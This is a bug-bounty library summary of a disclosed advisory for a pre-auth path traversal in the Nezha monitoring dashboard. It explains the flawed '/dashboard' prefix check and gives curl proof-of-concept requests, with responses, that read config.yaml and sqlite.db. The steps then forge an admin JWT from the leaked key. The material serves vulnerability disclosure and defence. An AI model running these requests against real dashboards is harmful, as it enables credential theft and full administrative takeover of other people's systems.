# Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Pre-auth path traversal in Nezha dashboard's /dashboard prefix check lets an unauthenticated GET read data/config.yaml, leaking the HS256 jwt_secret_key for admin JWT forgery.

- Payout: Research
- Severity: critical
- Program: Nezha
- Found by: riodrwn
- Disclosed: 2026-06-26
- CVE: CVE-2026-53519
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-5c25-7vpj-9mqh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5c25-7vpj-9mqh
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:auth-bypass vuln:path-traversal vuln:secrets-leak

**Target:** Gin NoRoute frontend fallback handler serving static files from admin-dist
**Root cause:** fallbackToFrontend uses strings.HasPrefix(URL.Path, "/dashboard") on the raw string rather than a path-segment match, so `/dashboard..` passes; TrimPrefix then yields `../...` which path.Join cleans to escape admin-dist, with no post-join containment check.
**Steps:**
1. Send `curl --path-as-is 'http://target:8008/dashboard../data/config.yaml'` — returns 200 with full YAML including `jwt_secret_key`.
2. Alternatively use `/dashboard%2e%2e/data/config.yaml` or `/dashboard..%2fdata/config.yaml` (both 200).
3. Fetch `GET /dashboard../data/sqlite.db` to obtain the users table and admin user_id.
4. Forge an HS256 JWT with `user_id` of the admin, signed with the leaked `jwt_secret_key`, set as `nz-jwt` cookie.
5. Access admin handlers with the forged session.
**How found:** Noticed the fallback used a raw-string HasPrefix instead of a segment check, then reasoned about how TrimPrefix + path.Join interact: the `..` is created after the prefix strip, downstream of Go's http.ServeFile URL dot-dot guard, which only fires on standalone `..` segments in the request URL.
**Exploitation:** Two unauthenticated GETs (config.yaml, sqlite.db) yield the HS256 signing key and admin user_id; attacker mints a JWT signed with that key and sets it as the nz-jwt cookie (or Authorization: Bearer), which the JWT middleware accepts, granting full admin CRUD on servers, users, cron tasks, notifications and OAuth2 settings.
**Escalation:** Chained secret disclosure (jwt_secret_key) with DB read (admin user_id) into symmetric-key JWT forgery for full dashboard takeover.
**Insight:** When a prefix strip feeds path.Join, the traversal segment can be manufactured after the strip (e.g. `/dashboard..`), evading stdlib URL-level `..` guards that inspect the original request path; always re-anchor the joined result under the intended root.

## Proof of concept (copied exactly from the original report)

**curl GET /dashboard../data/config.yaml leaks jwt_secret_key**

```
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
 
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
 
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro
```

**Encoded-dot and encoded-slash traversal variants**

```
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
 
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
 
**Encoded-slash variant — bypass also works:**
 
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
```

**SQLite database exfiltration via same traversal**

```
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
 
HTTP/1.1 200 OK
Content-Length: 42
 
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
```

